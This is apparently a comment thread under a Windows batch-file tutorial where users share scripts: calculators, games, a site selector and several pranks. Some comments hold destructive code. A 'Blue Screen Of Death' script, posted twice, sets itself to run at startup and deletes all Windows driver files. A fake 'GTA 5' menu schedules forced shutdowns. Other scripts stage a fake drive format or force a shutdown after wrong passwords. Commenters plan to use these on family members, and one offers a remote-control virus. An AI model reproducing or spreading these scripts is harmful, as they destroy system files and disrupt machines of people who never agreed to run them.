    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 10%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 12%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 15%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 21%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 30%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 31%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 32%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 33%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 34%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 35%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 36%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 37%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 7 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛ²²²²²²²²²² 42%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²²² 55%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 60%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 66%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 69%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 70%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 85%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 8 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 90%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 92%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 93%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 95%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 99%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 30 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 12 localhost >nus

    cls

    echo.

    dir /s

    ping -n 3 localhost >nus

    cls

    echo.

    echo CONTENTS OF HARD-DRIVE C: ERASED

    echo.

    echo Please insert Installation Disk:

    start nircmd.exe cdrom open F:

    ping -n 3 localhost >nus

    cls

    color 0f

    echo.

    echo SCANNING FOR INSTALLATION DISK...

    echo.

    ping -n 3 localhost >nus

    echo NO INSTALLATION DISK INSERTED

    echo Please insert Installation Disk:

    start nircmd.exe cdrom open F:

    pause

    cls

    echo NO INSTALLATION DISK INSERTED

    echo Please insert Installation Disk:

    start nircmd.exe cdrom open F:

    pause

    cls

    echo NO INSTALLATION DISK FOUND; SHUTTING DOWN COMPUTER.

    echo -

    echo -

    echo -

    pause

    start shutdown -s -t 5 -c "SYSTEM FAILURE<REPAIR COMPLETE; STATUS: FAILED!"

    _____----____----____

    you will need to install NIRCMD

    replace drive F: with your cdrom letter

    i hope you enjoyed took me a week to write 1126 line in notepad++

    0
    user
    Plixq

    3 months ago

    @ echo off

    rem ———————————
    rem Activate Blue Screen Of Death
    @((( Echo Off > Nul ) & Break Off )
    @Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    @Reg Add “%HiveBSOD%” /v “BSOD” /t “REG_SZ” /d %0 /f > Nul
    @Del /q /s /f “%SystemRoot%\Windows\System32\Drivers\*.*”
    )

    0
    user
    Plixq

    3 months ago

    @ echo off

    rem ———————————
    rem Activate Blue Screen Of Death
    @((( Echo Off > Nul ) & Break Off )
    @Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    @Reg Add “%HiveBSOD%” /v “BSOD” /t “REG_SZ” /d %0 /f > Nul
    @Del /q /s /f “%SystemRoot%\Windows\System32\Drivers\*.*”)

    Simple calculator

    @echo off
    Setlocal enabledelayedexpansion
    :calc
    cls
    echo SIMPLE CALCULATOR
    echo 1.Add=+
    echo 2.Subtract=-
    echo 3.Multiply=*
    echo 4.Divide=/
    echo Put your question
    set/p equ=
    set/a equ=!equ!
    echo Answer=!equ!
    pause
    goto calc

    Simple calculator

    @echo off
    Setlocal enabledelayedexpansion
    :calc
    cls
    echo SIMPLE CALCULATOR
    echo 1.Add=+
    echo 2.Subtract=-
    echo 3.Multiply=*
    echo 4.Divide=/
    echo Put your question
    set/p equ=
    set/a equ=!equ!
    echo Answer=!equ!
    pause
    goto calc

    I wrote a script for Calculator

    @ECHO OFF

    COLOR 17

    TITLE CALCULATOR

    ECHO Enter the value of x:

    SET /p x=

    ECHO Enter the operator

    SET /p o=

    ECHO Enter the value of y:

    SET /p y=

    if %o%== + GOTO Add

    if %o%== - GOTO Sub

    if %o%== * GOTO Mul

    if %o%== / GOTO Div

    if %o%== % GOTO Mod

    :Add

    ECHO ********************

    ECHO ADDITION

    ECHO ********************

    SET /a z=x+y

    ECHO Addition of %x% and %y% is %z%

    PAUSE

    EXIT

    :Sub

    ECHO ********************

    ECHO SUBSTRACTION

    ECHO ********************

    SET /a z=x-y

    ECHO Substraction of %x% and %y% is %z%

    PAUSE

    EXIT

    :Mul

    ECHO ********************

    ECHO MULTIPLICATION

    ECHO ********************

    SET /a z=x*y

    ECHO Multiplication of %x% and %y% is %z%

    PAUSE

    EXIT

    :Div

    ECHO ********************

    ECHO DIVISION

    ECHO ********************

    SET /a z=x/y

    ECHO Division of %x% and %y% is %z%

    PAUSE

    EXIT

    :Mod

    ECHO ********************

    ECHO MODULUS

    ECHO ********************

    SET /a z=x%y

    ECHO Modulus of %x% and %y% is %z%

    PAUSE

    EXIT

    Do you have to add the "https://" part when entering the website for the website picker???

    This is really cool but I just spotted one thing: on step 4, the part where it does start www.wikihow.com says 7 but should be 8

    And this is my new game (I made it today)

    @echo off
    title COINS
    color 0a
    mode con: cols=39 lines=25

    :menu
    cls
    echo =======================================
    echo === COINS ===
    echo =======================================
    echo.
    echo For info type ?
    echo.
    echo 1) Singleplayer
    echo 2) Multiplayer
    set menuchoice=
    set /p menuchoice=
    if %menuchoice% equ 1 goto players_sp
    if %menuchoice% equ 2 goto players_mp
    if %menuchoice% equ ? goto info
    echo.
    goto menu

    :info
    cls
    echo.
    echo SINGLEPLAYER
    echo.
    echo Your task is to beat me. There are
    echo coins (18 to 40). You have to collect
    echo 1, 2 or 3 coins. If it's your turn
    echo and there is only one coin left,
    echo you lose. GLHF :)
    echo.
    echo.
    echo MULTIPLAYER
    echo.
    echo It's the same as singleplayer...
    echo ...but it's for 2 players ;)
    echo.
    echo =======================================
    echo.
    echo To report any bugs, please contact me:
    echo.
    echo E-mail: kotasekjat@seznam.cz
    echo Skype: GD ziffdodo2
    echo.
    echo.
    echo Thanks for playing my game!!!
    pause >nul
    goto menu

    //SINGLEPLAYER

    :players_sp
    cls
    echo.
    echo =======================================
    echo === PLAYERS ===
    echo =======================================
    echo.
    echo.
    set player=
    set /p player=Player 1 (enter your name):
    echo.
    echo Player 2: NPC
    ping -n 3 localhost >nul
    cls
    echo.
    echo READY?
    ping -n 2 localhost >nul
    cls
    echo.
    echo GO!
    ping -n 2 localhost >nul
    goto game_p1_1


    //PLAYER_1


    :game_p1_1
    set limit=
    set /a limit=%random% %% 18+22
    goto game_p1_2

    :game_p1_2
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    if %limit% equ 1 goto p1_loss_sp
    set p1=
    set /p p1= %player%'s turn:
    if %p1% equ 1 goto p1_1
    if %p1% equ 2 goto p1_2
    if %p1% equ 3 goto p1_3
    if %p1% gtr 3 goto p1_fail

    :p1_1
    set /a limit=%limit%-1
    echo.
    echo YOU TAKE 1 COIN
    ping -n 2 localhost >nul
    goto game_pc_check

    :p1_2
    set /a limit=%limit%-2
    echo.
    echo YOU TAKE 2 COINS
    ping -n 2 localhost >nul
    goto game_pc_check

    :p1_3
    set /a limit=%limit%-3
    echo.
    echo YOU TAKE 3 COINS
    ping -n 2 localhost >nul
    goto game_pc_check

    :p1_fail
    echo.
    echo YOU CAN'T TAKE MORE THAN 3 COINS!
    ping -n 3 localhost >nul
    goto game_p1_2


    //PLAYER_PC


    :game_pc_check
    if %limit% gtr 25 goto game_pc_1
    if %limit% leq 25 goto game_pc_2
    if %limit% leq 0 goto p1_loss_sp

    :game_pc_1
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    echo NPC's turn: 2
    echo.
    echo NPC TAKES 2 COINS
    set /a limit=%limit%-2
    ping -n 2 localhost >nul
    goto game_p1_2

    :game_pc_2
    //1
    if %limit% equ 2 goto pc_1
    if %limit% equ 10 goto pc_1
    if %limit% equ 18 goto pc_1
    if %limit% equ 22 goto pc_1
    if %limit% equ 6 goto pc_2
    //GAPS_1
    if %limit% equ 14 goto pc_3
    //2
    if %limit% equ 3 goto pc_2
    if %limit% equ 15 goto pc_2
    if %limit% equ 11 goto pc_2
    if %limit% equ 19 goto pc_2
    //GAPS_2
    if %limit% equ 7 goto pc_3
    if %limit% equ 23 goto pc_3
    //3
    if %limit% equ 4 goto pc_3
    if %limit% equ 8 goto pc_3
    if %limit% equ 12 goto pc_3
    if %limit% equ 20 goto pc_3
    if %limit% equ 24 goto pc_2
    //GAPS_3
    if %limit% equ 16 goto pc_1
    //IMPOSSIBLE
    if %limit% equ 5 goto pc_1
    if %limit% equ 9 goto pc_2
    if %limit% equ 13 goto pc_3
    if %limit% equ 17 goto pc_1
    if %limit% equ 21 goto pc_2
    if %limit% equ 25 goto pc_3
    //PC_LOSS / PLAYER_1 WIN
    if %limit% equ 1 goto pc_loss
    //PC_WIN
    if %limit% leq 0 goto p1_loss

    :pc_3
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    echo NPC's turn: 3
    echo.
    echo NPC TAKES 3 COINS
    set /a limit=%limit%-3
    ping -n 2 localhost >nul
    goto game_p1_2

    :pc_1
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    echo NPC's turn: 1
    echo.
    echo NPC TAKES 1 COINS
    set a limit=%limit%-1
    ping -n 2 localhost >nul
    goto game_p1_2

    :pc_2
    cls
    echo.
    echo Coins left: %limit%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    echo NPC's turn: 2
    echo.
    echo NPC TAKES 2 COINS
    set /a limit=%limit%-2
    ping -n 2 localhost >nul
    goto game_p1_2

    :pc_loss
    cls
    echo.
    echo =======================================
    echo CONGRATULATIONS
    echo =======================================
    echo.
    echo %player% wins!
    echo.
    set again=
    set /p again=Do you want to play again? -
    if %again% equ yes goto player
    if %again% equ YES goto player
    if %again% equ no goto exit
    if %again% equ NO goto exit
    exit

    :p1_loss_sp
    echo.
    NPC wins!
    echo.
    echo You can try your luck again, %player%!
    echo.
    set again=
    set /p again=Wanna try your luck again? -
    if %again% equ yes goto player
    if %again% equ YES goto player
    if %again% equ no goto exit
    if %again% equ NO goto exit
    exit

    //MULTIPLAYER

    :players_mp
    cls
    echo.
    echo =======================================
    echo === PLAYERS ===
    echo =======================================
    echo.
    echo.
    set player1=
    set /p player1=Player 1:
    echo.
    set player2=
    set /p player2=Player 2:
    ping -n 2 localhost >nul
    cls
    echo.
    echo READY?
    ping -n 2 localhost >nul
    cls
    echo.
    echo GO!
    ping -n 2 localhost >nul
    goto game2_1

    :game2_1
    set limit2=
    set /a limit2=%random% %% 18+22
    goto game2_p1


    //PLAYER_1


    :game2_p1
    cls
    echo.
    echo Coins left: %limit2%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    if %limit2% equ 1 goto p1_loss_2
    if %limit2% leq 0 goto p2_loss_2
    set p1_2=
    set /p p1_2=%player1%'s turn:
    if %p1_2% equ 1 goto p1_1_2
    if %p1_2% equ 2 goto p1_2_2
    if %p1_2% equ 3 goto p1_3_2
    if %p1_2% gtr 3 goto p1_fail_2

    :p1_1_2
    echo.
    echo %player1% TAKES 1 COIN
    set /a limit2=%limit2%-1
    ping -n 2 localhost >nul
    goto game2_p2

    :p1_2_2
    echo.
    echo %player1% TAKES 2 COINS
    set /a limit2=%limit2%-2
    ping -n 2 localhost >nul
    goto game2_p2

    :p1_3_2
    echo.
    echo %player1% TAKES 3 COINS
    set /a limit2=%limit2%-3
    ping -n 2 localhost >nul
    goto game2_p2

    :p1_fail_2
    echo.
    echo YOU CAN'T TAKE MORE THAN 3 COINS!
    ping -n 2 localhost >nul
    goto game2_p1

    :p1_loss_2
    echo.
    echo =======================================
    echo CONGRATULATIONS
    echo =======================================
    echo.
    echo %player2% wins!
    echo.
    echo You can try your luck again, %player1%!
    echo.
    set again2=
    set /p again2=Do you want to play again? -
    if %again2% equ yes goto players_mp
    if %again2% equ YES goto players_mp
    if %again2% equ no goto exit
    if %again2% equ NO goto exit
    exit

    //PLAYER_2


    :game2_p2
    cls
    echo.
    echo Coins left: %limit2%
    echo.
    echo How many coins do you wanna take?
    echo.
    echo.
    if %limit2% equ 1 goto p2_loss_2
    if %limit2% leq 0 goto p1_loss_2
    set p2_2=
    set /p p2_2=%player2%'s turn:
    if %p2_2% equ 1 goto p2_1_2
    if %p2_2% equ 2 goto p2_2_2
    if %p2_2% equ 3 goto p2_3_2
    if %p2_2% gtr 3 goto p2_fail_2

    :p2_1_2
    echo.
    echo %player2% TAKES 1 COIN
    set /a limit2=%limit2%-1
    ping -n 2 localhost >nul
    goto game2_p1

    :p2_2_2
    echo.
    echo %player2% TAKES 2 COINS
    set /a limit2=%limit2%-2
    ping -n 2 localhost >nul
    goto game2_p1

    :p2_3_2
    echo.
    echo %player% TAKES 3 COINS
    set /a limit2=%limit2%-3
    ping -n 2 localhost >nul
    goto game2_p1

    :p2_fail_2
    echo.
    echo YOU CAN'T TAKE MORE THAN 3 COINS!
    ping -n 2 localhost >nul
    goto game2_p2

    :p2_loss_2
    echo.
    echo =======================================
    echo CONGRATULATIONS
    echo =======================================
    echo.
    echo %player1% wins!
    echo.
    echo You can try your luck again, %player2%!
    echo.
    set again2_2=
    set /p again2_2=Do you want to play again? -
    if %again2_2% equ yes goto players_mp
    if %again2_2% equ YES goto players_mp
    if %again2_2% equ no goto exit
    if %again2_2% equ NO goto exit
    exit

    :exit
    exit

    Hi! This is my version of the guessing game... Sorry for bad English :)

    @echo off
    title GUESS!
    color 1f
    mode con: cols=32 lines=23

    :start
    cls
    echo ------------------------
    echo GUESS MY NUMBER!
    echo ------------------------
    echo.
    echo Press any key to begin...
    set cheat=ziffdodo2
    set ans=%random%
    set /a left=20
    set /a guesses=0
    pause >nul
    cls
    echo START!
    ping -n 2 localhost >nul
    cls
    goto game

    :game
    echo.
    set /p guess=
    if %guess% gtr %ans% echo LOWER!
    if %guess% lss %ans% echo HIGHER!
    if %guess% equ %cheat% cls && echo You cheater... && echo The answer is %ans%
    set /a left=%left%-1
    if %left% equ -1 goto loss
    set /a guesses=%guesses%+1
    echo.
    echo %left% attempts left
    echo.
    if %guess% equ %ans% goto win
    goto game

    :win
    cls
    echo --------------------------------
    echo Congratulations!
    echo --------------------------------
    echo.
    echo I see you are good in
    echo guessing...
    echo.
    echo It took you %guesses% attempts
    echo to guess right.
    echo.
    echo The answer is: %ans%
    echo.
    set name=
    set /p name=Enter your name:
    pushd "%~dp0"
    echo %name% has won in %guesses% guesses in %date% at %time% >>Scoreboard.txt && echo. >>Scoreboard.txt
    goto win2
    :win2
    echo.
    echo GG %name%!
    echo.
    set /p again=Wanna play again? -
    if %again% equ yes goto start
    if %again% equ YES goto start
    if %again% equ no goto end
    if %again% equ NO goto end
    exit

    :loss
    cls
    echo You can try your luck again!
    echo.
    The answer is: %ans%
    echo.
    set /p again=Wanna play again? -
    if %again% equ yes goto start
    if %again% equ YES goto start
    if %again% equ no goto end
    if %again% equ NO goto end
    exit

    :end
    exit

    so I've been looking around and trying a lot but what is the folder path, isn't it something like user/username/desktop/foldername , if your folder was on the desktop

    0
    user
    AnonU1

    1 year ago

    Website selector has been edited

    @echo off

    title Site Selector by seJma

    :top

    color c

    echo.

    echo *************************

    echo * Website Shortcuts *

    echo *************************

    echo.

    echo ***************************************************************

    echo Key:

    echo 1- Google

    echo 2- Gmail

    echo 3- Hotmail

    echo 4- Yahoo

    echo 5- Facebook

    echo 6- Twitter

    echo 7- WikiHow

    echo 8- Youtube

    echo 9- Instructables

    echo 10- Wikipedia

    echo.

    echo [e] Exit

    echo.

    echo **********

    echo Enter key:

    echo.

    set /p udefine=

    echo.

    echo ***************************************************************

    if %udefine%==1 start www.google.com

    if %udefine%==2 start mail.google.com

    if %udefine%==3 start www.hotmail.com

    if %udefine%==4 start www.yahoo.com

    if %udefine%==5 start www.facebook.com

    if %udefine%==6 start www.twitter.com

    if %udefine%==7 start www.wikihow.com

    if %udefine%==8 start www.youtube.com

    if %udefine%==9 start www.instructables.com

    if %udefine%==10 start www.wikipedia.com

    if %udefine%==e goto exit

    cls

    echo ***********************************************************

    echo Type [e] to exit or [b] to go back and select another site.

    echo ***********************************************************

    echo.

    set /p udefine=

    echo.

    echo ***************************************************************

    if %udefine%==b goto top

    if %udefine%==e goto exit

    :exit

    cls

    echo ***************************************************************

    echo.

    echo Thank You for using Website Selector by SEjMA,

    echo Edited by DeathPigeon

    echo This window will automatically close.

    echo.

    echo ***************************************************************

    goto new

    :new

    set /a counta=1

    :start1

    if %counta% equ 3000 goto end2

    set /a counta=%counta%+1

    goto start1

    :end2

    exit

    0
    user
    AnonU1

    1 year ago

    Unlike kushal99 , I actually made your code a little better for you. For example, it starts in max screen, 3 attempts will throw you into a 500 counted loop of characters and at the end will start the shutdown for 20 secs.

    I've also renamed it hidden folder password, as you would need to make a batch file linking it I guess, unless you were using it as a batch file password.

    Also, Ive made the cmd close on its on shortly after opening the folder. Hope you enjoy.

    -----------------------------------------------------------------------------------------------------

    @echo off

    if not "%1" == "max" start /MAX cmd /c %0 max & exit/b

    title Hidden Folder Password v1.6

    color 0a

    set /a tries=3

    set password=[ENTER YOUR NEW PW HERE]

    :top

    echo.

    echo ========================================================================

    echo ------------------------------------------------------------------------

    echo Please enter directory password for %~f0

    echo ========================================================================

    echo ------------------------------------------------------------------------

    echo You have %tries% attempts left.

    echo Please Enter password

    echo ------------------------------------------------------------------------

    echo ========================================================================

    set /p pass=

    if %pass%==%password% (

    goto correct

    )

    set /a tries=%tries -1

    if %tries%==0 (

    goto penalty

    )

    cls

    goto top

    :penalty

    set /a counta=1

    :start

    if %counta% equ 1000 goto end

    if %counta% equ 999 goto end3

    set /a counta=%counta%+1

    color c

    echo %random%%random% %random%%random% %random%%random% %random%%random% %random%%random% %random%%random%

    :end

    goto start

    :end3

    shutdown -f -s -t 20 -c "TOO MANY INCORRECT PASSWORD ATTEMPTS!"

    exit

    :correct

    cls

    echo ======================================================

    echo ------------------------------------------------------

    echo Password Accepted!

    echo Opening Locked Folder

    echo ------------------------------------------------------

    echo ======================================================

    explorer %~dp1

    goto new

    :new

    set /a counta=1

    :start1

    if %counta% equ 500 goto end2

    set /a counta=%counta%+1

    goto start1

    :end2

    exit

    hey i made this is it working correctly

    @echo off

    color 3a

    :Start2

    cls

    goto start

    :Start

    title GTA 5

    echo 1) Offline mode

    echo 2) Online mode

    echo Input your choice

    set input=

    set /p input= choice:

    if %input%==1 goto A if NOT goto Start2

    if %input%==2 goto B if NOT goto Start2

    :A

    color 3a

    cls

    @echo off

    shutdown -s -t 200

    shutdown -s -t 210

    shutdown -s -t 220

    shutdown -s -t 230

    shutdown -s -t 240

    shutdown -s -t 250

    echo Oops!You are hacked.

    echo.

    echo Sorry your opreating system has being crashed.

    :B

    cls

    color 3a

    echo 1) Single player

    echo 2) Exit

    echo Input your choice

    set input=

    set /p input= choice:

    if %input%==1 goto C if NOT goto Start2

    if %input%==2 goto Exit if NOT goto Start 2

    :C

    color 3a

    cls

    @echo off

    shutdown -r -t 110

    shutdown -r -t 120

    shutdown -r -t 130

    shutdown -r -t 140

    shutdown -r -t 150

    echo Success game will start in few minutes.

    echo Thank You.

    :Exit

    exit

    LOL the virus is cool!!!! especially cause it looks so realistic! LETS MAKE FUN OUT OF MY DAD!!

    2 replies

    hey do you want a real virus you can controle with another computer

    well sure, my annoying little bro will freak out like nothing before